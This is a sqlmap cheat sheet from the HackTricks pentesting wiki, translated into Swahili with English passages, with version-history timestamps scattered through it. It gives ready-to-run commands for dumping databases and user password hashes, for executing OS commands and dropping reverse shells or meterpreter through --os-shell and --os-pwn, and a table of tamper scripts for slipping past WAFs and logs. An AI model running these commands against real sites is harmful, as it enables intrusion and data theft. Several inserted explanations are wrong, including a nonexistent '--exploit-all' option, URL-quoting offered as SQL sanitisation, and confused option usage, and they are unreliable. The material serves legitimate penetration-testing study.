hacktricks/pentesting-web/sql-injection/sqlmap.md

468 lines
25 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
# Hoja za msingi za SQLmap
2024-02-11 02:13:58 +00:00
## Kwa ujumla
```bash
2024-02-11 02:13:58 +00:00
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
2024-02-11 02:13:58 +00:00
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
2024-02-11 02:13:58 +00:00
## Pata Taarifa
2024-02-11 02:13:58 +00:00
### Ndani
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
2024-02-11 02:13:58 +00:00
### Data ya DB
2024-02-11 02:13:58 +00:00
The `--dump` option in SQLMap can be used to retrieve data from the database. This option allows you to extract the contents of tables and columns in the database.
2024-02-11 02:13:58 +00:00
To use the `--dump` option, you need to specify the target URL and the vulnerable parameter. SQLMap will then automatically detect the type of database and perform the necessary queries to retrieve the data.
Here is an example command to use the `--dump` option:
```
sqlmap -u http://example.com/vulnerable.php?id=1 --dump
```
This command will scan the URL `http://example.com/vulnerable.php?id=1` for SQL injection vulnerabilities and retrieve the data from the database.
Once the scan is complete, SQLMap will display the extracted data in a tabular format, showing the contents of each table and column.
It is important to note that using the `--dump` option can be time-consuming, especially if the database contains a large amount of data. Therefore, it is recommended to use this option selectively and only when necessary.
By using the `--dump` option in SQLMap, you can easily retrieve data from a vulnerable database during a penetration test.
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
2024-02-11 02:13:58 +00:00
# Mahali pa Uvamizi
2024-02-11 02:13:58 +00:00
## Kutoka kwenye Kukamata ya Burp/ZAP
2024-02-11 02:13:58 +00:00
Kamata ombi na tengeneza faili ya req.txt
```bash
sqlmap -r req.txt --current-user
```
2024-02-11 02:13:58 +00:00
## Uingizaji wa Ombi la GET
### Description
Uingizaji wa Ombi la GET ni mbinu ya kuingiza msimbo mbaya au maingizo mengine yasiyofaa katika sehemu ya ombi la GET ya URL. Hii inaweza kusababisha shambulio la SQL Injection ambapo msimbo mbaya unaweza kutekelezwa kwenye seva ya mtandao.
### Vulnerability
Mara nyingi, maingizo ya mtumiaji katika sehemu ya ombi la GET hayasafishwi vizuri kabla ya kutumika kwenye msimbo wa SQL. Hii inaweza kusababisha shambulio la SQL Injection ambapo msimbo mbaya unaweza kutekelezwa na kudhibitiwa na mtu mwingine.
### Exploitation
Kwa kufanya uingizaji wa ombi la GET, mtu anaweza kuingiza msimbo mbaya kwenye sehemu ya ombi la GET ya URL. Hii inaweza kufanyika kwa kuongeza maingizo yasiyofaa kama vile herufi maalum, alama za kufungua na kufunga, au maingizo ya SQL.
Kwa mfano, ikiwa URL inaonekana kama hii:
```
https://www.example.com/page?param=value
```
2024-02-11 02:13:58 +00:00
Mtu anaweza kuingiza msimbo mbaya kama huu:
2024-02-11 02:13:58 +00:00
```
https://www.example.com/page?param=' OR '1'='1
```
Hii inaweza kusababisha shambulio la SQL Injection ambapo msimbo mbaya unatekelezwa na kudhibitiwa na mtu mwingine.
### Prevention
Ili kuzuia shambulio la SQL Injection kupitia uingizaji wa ombi la GET, ni muhimu kusafisha maingizo ya mtumiaji kabla ya kutumika kwenye msimbo wa SQL. Hii inaweza kufanyika kwa kutumia njia za kusafisha maingizo kama vile kufanya ufuatiliaji wa maingizo, kufunga alama za kufungua na kufunga, na kutumia vigezo vya maingizo ya mtumiaji.
### Example
Kwa mfano, ikiwa tuna URL ifuatayo:
```
https://www.example.com/page?param=value
```
Tunaweza kusafisha maingizo ya mtumiaji kwa kutumia kazi ya kusafisha ya SQL kabla ya kutumia maingizo hayo kwenye msimbo wa SQL. Hii inaweza kufanyika kwa kutumia kificho kama hiki:
```python
import urllib.parse
param = urllib.parse.quote(param)
```
Hii itasafisha maingizo ya mtumiaji na kuhakikisha kuwa msimbo mbaya hautatekelezwa kwenye msimbo wa SQL.
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
2024-02-11 02:13:58 +00:00
## Uingizaji wa Ombi la POST
### SQLMap
2024-02-11 02:13:58 +00:00
SQLMap ni chombo cha nguvu kinachotumiwa kwa uchunguzi wa usalama wa mtandao na uchambuzi wa udhaifu. Inaweza kutumika kwa uingizaji wa SQL kwenye ombi la POST. Kwa kufanya hivyo, unahitaji kufuata hatua zifuatazo:
2024-02-11 02:13:58 +00:00
1. Tumia chaguo la `-u` au `--url` kwenye SQLMap ili kutoa URL ya lengo.
2. Tumia chaguo la `-p` au `--data` ili kutoa data ya POST kwa ombi.
3. Tumia chaguo la `--method` ili kubainisha njia ya ombi (POST).
4. Tumia chaguo la `--level` na `--risk` ili kubainisha kiwango cha uchunguzi na hatari.
5. Tumia chaguo la `--dbs` ili kupata orodha ya maktaba za database zilizopo.
6. Tumia chaguo la `--tables -D <database>` ili kupata orodha ya meza zilizopo kwenye database iliyochaguliwa.
7. Tumia chaguo la `--columns -D <database> -T <table>` ili kupata orodha ya nguzo zilizopo kwenye meza iliyochaguliwa.
8. Tumia chaguo la `--dump -D <database> -T <table> -C <column>` ili kudondosha data kutoka kwa nguzo iliyochaguliwa.
Kwa kufuata hatua hizi, unaweza kutumia SQLMap kwa uingizaji wa SQL kwenye ombi la POST na kuchunguza udhaifu wa usalama kwenye mtandao.
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
2024-02-11 02:13:58 +00:00
## Uingizaji katika Vichwa na Njia nyingine za HTTP
### Introduction
Injections in headers and other HTTP methods are another common type of attack that can be exploited by hackers. These attacks involve manipulating the headers or other HTTP methods to inject malicious code or commands into the target system.
### SQL Injection in Headers
SQL injection in headers occurs when an attacker injects malicious SQL code into the headers of an HTTP request. This can be done by manipulating the values of the headers to include SQL statements that can be executed by the target system's database.
To detect and exploit SQL injection in headers, you can use tools like SQLMap. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities.
To use SQLMap for detecting SQL injection in headers, you can use the following command:
```
sqlmap -r <request_file> --headers
```
2024-02-11 02:13:58 +00:00
This command tells SQLMap to analyze the request file and check for SQL injection vulnerabilities in the headers.
2024-02-11 02:13:58 +00:00
### Other HTTP Methods
Apart from headers, other HTTP methods like GET, POST, PUT, DELETE, etc. can also be vulnerable to injection attacks. These attacks involve manipulating the parameters or data sent in the HTTP requests to inject malicious code or commands.
To detect and exploit injection vulnerabilities in other HTTP methods, you can use similar techniques as SQL injection in headers. Tools like SQLMap can be used to automate the process and make it easier to identify and exploit these vulnerabilities.
### Conclusion
Injections in headers and other HTTP methods are common attack vectors that hackers can exploit to gain unauthorized access to a target system. By understanding these techniques and using tools like SQLMap, you can better protect your systems from such attacks.
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
2024-02-11 02:13:58 +00:00
## Uingizaji wa Pili wa Aina ya Pili
### Maelezo
Uingizaji wa Pili wa Aina ya Pili (Second Order Injection) ni mbinu ya uingizaji wa SQL ambapo mchakato wa kuingiza kificho cha SQL hufanyika katika hatua ya pili ya utekelezaji, badala ya hatua ya kwanza. Hii inaweza kutokea wakati data iliyosanikishwa katika database inatumika kama sehemu ya swali la SQL lingine.
Mara nyingi, mchakato wa uingizaji wa pili wa aina ya pili hufanyika wakati data iliyosanikishwa katika database inatumika katika swali la SQL lingine ambalo halijasanikishwa vizuri. Hii inaweza kutokea ikiwa programu inatumia mchanganyiko wa maandishi yaliyosanikishwa na maandishi yasiyosanikishwa katika swali la SQL.
### Matokeo
2024-02-11 02:13:58 +00:00
Uingizaji wa Pili wa Aina ya Pili unaweza kusababisha matokeo mbalimbali, ikiwa ni pamoja na:
2024-02-11 02:13:58 +00:00
- Kufichua data nyeti kutoka kwenye database
- Kubadilisha au kufuta data katika database
- Kutekeleza amri za mfumo kwenye seva ya database
### Ulinzi
Ili kujilinda dhidi ya uingizaji wa pili wa aina ya pili, ni muhimu kuzingatia kanuni za usalama wa maendeleo ya programu, kama vile:
- Kuepuka kutumia data iliyosanikishwa moja kwa moja katika swali la SQL
- Kufanya uhakiki wa kina wa data kabla ya kuitumia katika swali la SQL
- Kutumia vigezo vya swali la SQL (parameterized queries) badala ya kujenga swali la SQL kwa kutumia mchanganyiko wa maandishi yaliyosanikishwa na yasiyosanikishwa
### Zana za Uchunguzi
Kuna zana mbalimbali za uchunguzi ambazo zinaweza kutumiwa kugundua na kuchunguza uingizaji wa pili wa aina ya pili, kama vile:
- SQLMap: Zana ya nguvu ya uchunguzi wa uingizaji wa SQL ambayo inaweza kutambua na kuchexploit uingizaji wa pili wa aina ya pili.
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
2024-02-11 02:13:58 +00:00
## Kifaa cha Kuingia
### SQLMap
SQLMap ni chombo cha nguvu kinachotumiwa katika uchunguzi wa kuingilia kati kwenye wavuti. Inaweza kutambua na kuchunguza mashambulizi ya SQL Injection kwenye tovuti na kutoa ufikiaji wa kudhibitiwa kwa mfumo wa udhibiti wa database.
2024-02-11 02:13:58 +00:00
#### Kuanzisha SQLMap
Kuanza kutumia SQLMap, tumia amri ifuatayo:
```bash
sqlmap -u <URL> [OPTIONS]
```
Ambapo `<URL>` ni URL ya wavuti unayotaka kuchunguza.
#### Kuchunguza SQL Injection
SQLMap ina uwezo wa kugundua mashambulizi ya SQL Injection kwenye wavuti. Unaweza kutumia chaguo `-u` kufafanua URL ya wavuti na chaguo `-p` kufafanua parameter ya wavuti inayoshambuliwa.
```bash
sqlmap -u <URL> -p <PARAMETER> [OPTIONS]
```
#### Kufanya Mashambulizi ya SQL Injection
SQLMap inaweza kufanya mashambulizi ya SQL Injection kwenye wavuti. Unaweza kutumia chaguo `-u` kufafanua URL ya wavuti na chaguo `-p` kufafanua parameter ya wavuti inayoshambuliwa.
```bash
sqlmap -u <URL> -p <PARAMETER> --data <POST_DATA> [OPTIONS]
```
#### Kuchunguza na Kudhibiti Database
SQLMap inaweza kutambua na kudhibiti database ya wavuti iliyoshambuliwa. Unaweza kutumia chaguo `-u` kufafanua URL ya wavuti na chaguo `-p` kufafanua parameter ya wavuti inayoshambuliwa.
```bash
sqlmap -u <URL> -p <PARAMETER> --dbms <DBMS> [OPTIONS]
```
#### Kuchunguza na Kudhibiti Tables
SQLMap inaweza kutambua na kudhibiti meza za database ya wavuti iliyoshambuliwa. Unaweza kutumia chaguo `-u` kufafanua URL ya wavuti na chaguo `-p` kufafanua parameter ya wavuti inayoshambuliwa.
```bash
sqlmap -u <URL> -p <PARAMETER> --tables [OPTIONS]
```
#### Kuchunguza na Kudhibiti Columns
SQLMap inaweza kutambua na kudhibiti nguzo za meza za database ya wavuti iliyoshambuliwa. Unaweza kutumia chaguo `-u` kufafanua URL ya wavuti, chaguo `-p` kufafanua parameter ya wavuti inayoshambuliwa, na chaguo `--tables` kufafanua jina la meza.
```bash
sqlmap -u <URL> -p <PARAMETER> --tables --columns [OPTIONS]
```
#### Kuchunguza na Kudhibiti Data
SQLMap inaweza kutambua na kudhibiti data katika meza za database ya wavuti iliyoshambuliwa. Unaweza kutumia chaguo `-u` kufafanua URL ya wavuti, chaguo `-p` kufafanua parameter ya wavuti inayoshambuliwa, chaguo `--tables` kufafanua jina la meza, na chaguo `--columns` kufafanua jina la nguzo.
```bash
sqlmap -u <URL> -p <PARAMETER> --tables --columns --dump [OPTIONS]
```
#### Kufanya Mashambulizi ya Kupenya
SQLMap inaweza kutumika kufanya mashambulizi ya kupenya kwenye wavuti iliyoshambuliwa. Unaweza kutumia chaguo `-u` kufafanua URL ya wavuti, chaguo `-p` kufafanua parameter ya wavuti inayoshambuliwa, chaguo `--os-shell` kufafanua aina ya kifaa cha kuingia, na chaguo `--os-pwn` kufafanua njia ya kudhibiti kifaa cha kuingia.
2024-02-11 02:13:58 +00:00
```bash
sqlmap -u <URL> -p <PARAMETER> --os-shell --os-pwn [OPTIONS]
```
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
2024-02-11 02:13:58 +00:00
## Kagua tovuti kwa kutumia SQLmap na kutekeleza moja kwa moja
To crawl a website and automatically exploit it using SQLmap, follow these steps:
1. **Identify the target**: Determine the website you want to crawl and exploit.
2. **Scan for vulnerabilities**: Use SQLmap to scan the target website for SQL injection vulnerabilities. Run the following command:
2024-02-11 02:13:58 +00:00
```
sqlmap -u <target_url> --crawl=1
```
2024-02-11 02:13:58 +00:00
This command will scan the target URL for SQL injection vulnerabilities and crawl the website to discover additional pages.
3. **Analyze the results**: Once the scan is complete, analyze the results provided by SQLmap. Look for any identified vulnerabilities and potential injection points.
4. **Exploit the vulnerabilities**: Use SQLmap to automatically exploit the identified vulnerabilities. Run the following command:
```
sqlmap -u <target_url> --exploit-all
```
This command will automatically exploit all the identified vulnerabilities on the target website.
5. **Review the findings**: After the exploitation process is complete, review the findings provided by SQLmap. This includes any extracted data, database information, and potential access to sensitive information.
By following these steps, you can effectively crawl a website using SQLmap and automatically exploit any SQL injection vulnerabilities that are discovered.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
2024-02-11 02:13:58 +00:00
# Weka kiambishi cha nyuma
2024-02-11 02:13:58 +00:00
Unapotumia sqlmap, unaweza kuweka kiambishi cha nyuma kwa kuingiza `-s` au `--suffix` kwenye amri. Kiambishi cha nyuma ni kipande cha maandishi kinachowekwa mwishoni mwa kila hoja ya SQL inayotumwa na sqlmap. Hii inaweza kuwa muhimu wakati unajaribu kubadilisha sintaksia ya hoja ya SQL ili kufanikisha mashambulizi ya uingizaji.
2024-02-11 02:13:58 +00:00
Kwa mfano, unaweza kuweka kiambishi cha nyuma kuwa `' OR '1'='1'--` kwa kutumia amri ifuatayo:
2024-02-11 02:13:58 +00:00
```
sqlmap -u <URL> --suffix="' OR '1'='1'--"
```
Hii itasababisha sqlmap kuongeza kiambishi cha nyuma kwenye hoja ya SQL inayotumwa kwa kila jaribio la uingizaji.
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
2024-02-11 02:13:58 +00:00
## Kiambishi
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
2024-02-11 02:13:58 +00:00
## Kusaidia kupata kuingizwa kwa boolean
Boolean injection ni mbinu ya kuingiza maagizo ya SQL kwa kutumia hoja za mantiki za boolean. Kwa kufanya hivyo, tunaweza kuchunguza na kuchunguza udhaifu wa SQL Injection katika programu za wavuti.
### Kugundua Udhaifu wa Boolean Injection
Kuna njia kadhaa za kugundua udhaifu wa boolean injection. Hapa kuna njia mbili maarufu:
1. **Kutumia kifaa cha kugundua SQL Injection**: Unaweza kutumia zana kama `sqlmap` ili kugundua moja kwa moja udhaifu wa boolean injection. Zana hii itajaribu aina tofauti za hoja za mantiki na kuchunguza ikiwa kuna majibu yanayotofautiana. Ikiwa kuna majibu yanayotofautiana, inaweza kuashiria uwepo wa udhaifu wa boolean injection.
2. **Kutumia majaribio ya kawaida**: Unaweza kujaribu kuingiza hoja za mantiki za boolean kwa mkono na kuchunguza majibu ya programu ya wavuti. Kwa mfano, unaweza kujaribu kuongeza hoja ya `AND 1=1` na kisha `AND 1=2` na uangalie ikiwa kuna tofauti katika majibu. Ikiwa kuna tofauti, inaweza kuashiria uwepo wa udhaifu wa boolean injection.
2024-02-11 02:13:58 +00:00
### Kufanya Uchunguzi wa Boolean Injection
2024-02-11 02:13:58 +00:00
Baada ya kugundua udhaifu wa boolean injection, unaweza kufanya uchunguzi zaidi kwa kuingiza hoja za mantiki za boolean. Hapa kuna baadhi ya hoja za kawaida za boolean injection:
- `AND`: Kutumika kuongeza hoja ya ziada kwenye ombi la SQL.
- `OR`: Kutumika kuongeza hoja ya ziada kwenye ombi la SQL.
- `NOT`: Kutumika kubadilisha matokeo ya hoja ya mantiki.
- `UNION`: Kutumika kuunganisha matokeo ya maswali tofauti ya SQL.
- `SELECT`: Kutumika kuchagua data kutoka kwa meza ya SQL.
- `FROM`: Kutumika kuelezea meza ambayo data inachaguliwa kutoka.
- `WHERE`: Kutumika kuweka vigezo vya kuchuja data.
Kwa kuingiza hoja hizi za mantiki za boolean kwa usahihi, unaweza kuchunguza na kuchexploit udhaifu wa boolean injection katika programu za wavuti.
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
2024-02-11 02:13:58 +00:00
## Kuharibu
Tamper ni kipengele cha SQLMap kinachoruhusu kubadilisha au kuharibu data ya maombi ili kujaribu kuvunja usalama. Kwa kutumia tamper, unaweza kubadilisha maombi yaliyotumwa kwa seva ili kujaribu kufanya mashambulizi ya SQL Injection kuwa rahisi au kuepuka kugunduliwa na vifaa vya usalama.
SQLMap inatoa seti ya tamper scripts ambazo zinaweza kutumika kubadilisha maombi. Unaweza pia kuunda tamper script yako mwenyewe kulingana na mahitaji yako maalum.
2024-02-11 02:13:58 +00:00
Kutumia tamper ni rahisi. Unaweza kuchagua tamper script kutoka kwa orodha ya SQLMap au kuunda tamper script mpya. Kisha, unaweza kuomba SQLMap kutumia tamper script iliyochaguliwa kwa maombi yako.
2024-02-11 02:13:58 +00:00
Kwa mfano, ikiwa unataka kubadilisha herufi zote kuwa herufi kubwa, unaweza kutumia tamper script ya "uppercase". Hii itabadilisha maombi yaliyotumwa kwa seva ili kubadilisha herufi zote kuwa kubwa kabla ya kufanywa kwa mashambulizi ya SQL Injection.
Kwa kumalizia, tamper ni kipengele muhimu cha SQLMap kinachoruhusu kubadilisha data ya maombi ili kufanya mashambulizi ya SQL Injection kuwa rahisi au kuepuka kugunduliwa. Unaweza kutumia tamper script zilizopo au kuunda tamper script yako mwenyewe kulingana na mahitaji yako.
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
2024-02-11 02:13:58 +00:00
| Tamper | Maelezo |
| :--- | :--- |
2024-02-11 02:13:58 +00:00
| apostrophemask.py | Inabadilisha herufi ya apostrophe na mbadala wake wa UTF-8 full width |
| apostrophenullencode.py | Inabadilisha herufi ya apostrophe na mbadala wake mara mbili wa unicode |
| appendnullbyte.py | Inaongeza herufi ya NULL iliyofichwa mwishoni mwa payload |
| base64encode.py | Inabadilisha herufi zote katika payload iliyoombwa kuwa Base64 |
| between.py | Inabadilisha operator wa 'greater than' \('&gt;'\) na 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Inabadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi sahihi tupu ya nasibu. Kisha inabadilisha herufi ya = na operator ya LIKE |
| chardoubleencode.py | Inaongeza url-encoding mara mbili kwa herufi zote katika payload iliyoombwa \(bila kuchakata tayari imefichwa\) |
| commalesslimit.py | Inabadilisha visa kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
| commalessmid.py | Inabadilisha visa kama 'MID\(A, B, C\)' na 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Inabadilisha visa kama 'CONCAT\(A, B\)' na 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Inaongeza url-encoding kwa herufi zote katika payload iliyoombwa \(bila kuchakata tayari imefichwa\) |
| charunicodeencode.py | Inaongeza url-encoding wa unicode kwa herufi zisizo na encoding katika payload iliyoombwa \(bila kuchakata tayari imefichwa\). "%u0022" |
| charunicodeescape.py | Inaongeza url-encoding wa unicode kwa herufi zisizo na encoding katika payload iliyoombwa \(bila kuchakata tayari imefichwa\). "\u0022" |
| equaltolike.py | Inabadilisha visa vyote vya operator sawa \('='\) na operator 'LIKE' |
| escapequotes.py | Inaongeza mstari wa kushughulikia alama za nukuu \(' na "\) |
| greatest.py | Inabadilisha operator wa 'greater than' \('&gt;'\) na mbadala wa 'GREATEST' |
| halfversionedmorekeywords.py | Inaongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
| ifnull2ifisnull.py | Inabadilisha visa kama 'IFNULL\(A, B\)' na 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Inazunguka swali kamili na maoni yenye toleo |
| modsecurityzeroversioned.py | Inazunguka swali kamili na maoni yenye toleo la sifuri |
| multiplespaces.py | Inaongeza nafasi nyingi karibu na maneno muhimu ya SQL |
| nonrecursivereplacement.py | Inabadilisha maneno muhimu ya SQL yaliyopangwa mapema na uwakilishi unaofaa kwa ajili ya kubadilishana \(k.m. .replace\("SELECT", ""\)\) filters |
| percentage.py | Inaongeza alama ya asilimia \('%'\) mbele ya kila herufi |
| overlongutf8.py | Inabadilisha herufi zote katika payload iliyoombwa \(bila kuchakata tayari imefichwa\) |
| randomcase.py | Inabadilisha kila herufi ya neno muhimu na thamani ya kesi ya nasibu |
| randomcomments.py | Inaongeza maoni ya nasibu kwa maneno muhimu ya SQL |
| securesphere.py | Inaongeza herufi iliyoundwa maalum |
| sp\_password.py | Inaongeza 'sp\_password' mwishoni mwa payload kwa ajili ya kuficha moja kwa moja kutoka kwenye magogo ya DBMS |
| space2comment.py | Inabadilisha herufi ya nafasi \(' '\) na maoni |
| space2dash.py | Inabadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na herufi ya nasibu na mstari mpya \('\n'\) |
| space2hash.py | Inabadilisha herufi ya nafasi \(' '\) na herufi ya pauni \('\#'\) ikifuatiwa na herufi ya nasibu na mstari mpya \('\n'\) |
| space2morehash.py | Inabadilisha herufi ya nafasi \(' '\) na herufi ya pauni \('\#'\) ikifuatiwa na herufi ya nasibu na mstari mpya \('\n'\) |
| space2mssqlblank.py | Inabadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka kwenye seti sahihi ya herufi mbadala |
| space2mssqlhash.py | Inabadilisha herufi ya nafasi \(' '\) na herufi ya pauni \('\#'\) ikifuatiwa na mstari mpya \('\n'\) |
| space2mysqlblank.py | Inabadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka kwenye seti sahihi ya herufi mbadala |
| space2mysqldash.py | Inabadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mstari mpya \('\n'\) |
| space2plus.py | Inabadilisha herufi ya nafasi \(' '\) na plus \('+'\) |
| space2randomblank.py | Inabadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka kwenye seti sahihi ya herufi mbadala |
| symboliclogical.py | Inabadilisha waendeshaji wa mantiki wa AND na OR na mbadala zao za alama \(&& na |
| unionalltounion.py | Inabadilisha UNION ALL SELECT na UNION SELECT |
| unmagicquotes.py | Inabadilisha herufi ya nukuu \('\) na combo ya multi-byte %bf%27 pamoja na maoni ya kawaida mwishoni \(ili ifanye kazi\) |
| uppercase.py | Inabadilisha kila herufi ya neno muhimu na thamani ya kesi ya juu 'INSERT' |
| varnish.py | Inaongeza kichwa cha HTTP 'X-originating-IP' |
| versionedkeywords.py | Inazungusha kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Inazungusha kila neno muhimu na maoni ya MySQL yenye toleo |
| xforwardedfor.py | Inaongeza kichwa cha uwongo cha HTTP 'X-Forwarded-For' |
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inayotangazwa katika HackTricks** au **kupakua HackTricks katika PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>